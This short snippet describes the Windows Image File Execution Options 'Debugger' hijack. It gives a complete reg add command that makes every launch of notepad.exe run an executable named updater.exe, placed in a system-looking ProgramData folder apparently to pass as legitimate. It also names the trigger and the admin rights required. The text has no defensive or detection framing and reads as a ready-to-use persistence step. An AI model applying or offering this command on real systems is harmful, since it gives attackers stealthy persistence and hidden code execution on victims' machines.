Image File Execution Options can redirect a target executable through a debugger value.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\updater.exe" /f
Trigger:
notepad.exe
This requires administrative rights for HKLM and executes when the target process starts.